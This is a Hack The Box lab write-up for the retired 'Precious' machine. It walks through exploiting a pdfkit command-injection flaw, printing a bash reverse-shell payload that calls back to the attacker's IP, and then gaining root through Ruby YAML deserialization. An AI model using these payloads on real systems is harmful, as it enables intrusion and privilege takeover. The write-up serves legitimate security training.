HTB Writeup Precious

Vedant Yaduvanshi
5 min readJan 12, 2025

--

Hacking 101 : Hack The Box Writeup 03

Precious is a retired Linux box on HTB with an easy difficulty rating.

This is the write-up on how I hacked it. I encourage you to try finding the loopholes on your own first. 😊.

I try writing one (maybe 2 if i get time) write ups every week here on medium and also they get pushed to my Github.

First things first, we will start with an Nmap scan to check for open ports.

nmap -sC -sV 10.129.228.98

We have 2 TCP ports open , one being ssh and other being 80 http.

So , lets add the IP address and domain to our /etc/hosts file.

After that lets visit precious.htb to reveals a web application.

After running some obvious fuzzing and finding nothing interesting . I curl the website to find some information in headers .

-i to display all response headers

curl -i http://precious.htb

This tells us that web server is nginx and running Phusion Passsenger which is also a web server and the Runtime is Ruby.

Now if you look at the service provide by the website is converting webpages to pdfs , so lets try and see how it works .

I started a python webserver on 8000 , to check if i can get a hit.

 python3 -m http.server

And i got get a hit back and it generates a pdf file with a random generated name mxul253ivxexyvy2xr0snhck5imfqjj1.pdf.

Generated PDF:

Running exiftool to look at the metadata on the downloaded PDF shows a “Creator” of “Generated by pdfkit v0.8.6”:

Now after some googling we get a ton of hits about CVE-2022–25765. which is a vulnerability in pdfkit v0.8.6. (Command Injection).

Now according to the article and details mentioned snyk article , we can try to get a bash rev shell.

http://10.10.14.80/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.80/1234 0>&1"`

Before executing this , lets start a nc listener on port 1234.

Now upon Submitting the payload , we got a shell back .

You wont be able to open the user.txt inside dir henry yet .

While trying to enumerate our user’s home directory reveals a .bundle directory, which commonly hosts configuration files used by Gem and other Ruby repositories. Specifically inside Home > Ruby >

Inside bundle , we can find a config file which reveals some plain-text credentials for the henry user.

So now we can SSH into the box using the credentials.

User:henry
Password:Q3c1AqGHtoI0aXAYFH

cat user.txt to get user flag.

Privilege Escalation

Now lets check for sudo privileges for current user that is Henry by sudo -l.

Henry may not be the most privileged user but he still can run this file /usr/bin/ruby /opt/update_dependencies.rb

Moving ahead lets check what does this script contains :

require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end

The line that is of interest here is:

def list_from_file
YAML.load(File.read("dependencies.yml"))
end

Both Python and Ruby have a safe_load function for loading YAML. This is because both had issues with the original load and deserializing the YAML payload, resulting in code execution.

This gist has a really nice and succinct example of a payload that can be used to exploit YAML deserialization in Ruby. It’s based on this much longer and more detailed article.

Now to get root :

paste this payload to your dependencies.yml you just created :

after pasting you can close the vi file by pressing Esc then type :wq and press Enter

Copy this code from here .

After I run this, there’s a file at /tmp/0xdf:

sudo ruby /opt/update_dependencies.rb
ls -l /tmp/0xdf

Running with -p gives a shell with effective UID and GID as root:

/tmp/0xdf -p

Get your root flag :

Congrats🥰 and have a good day ahead hacker.

Ps — Coming Week , i will be posting more of Medium and Hard machines

--

--

Vedant Yaduvanshi
Vedant Yaduvanshi

Written by Vedant Yaduvanshi

Breaking into systems , fixing them, then acting like I didn’t just save the day | Cybersecurity | OSINT | Cyber Forensics |

Responses (1)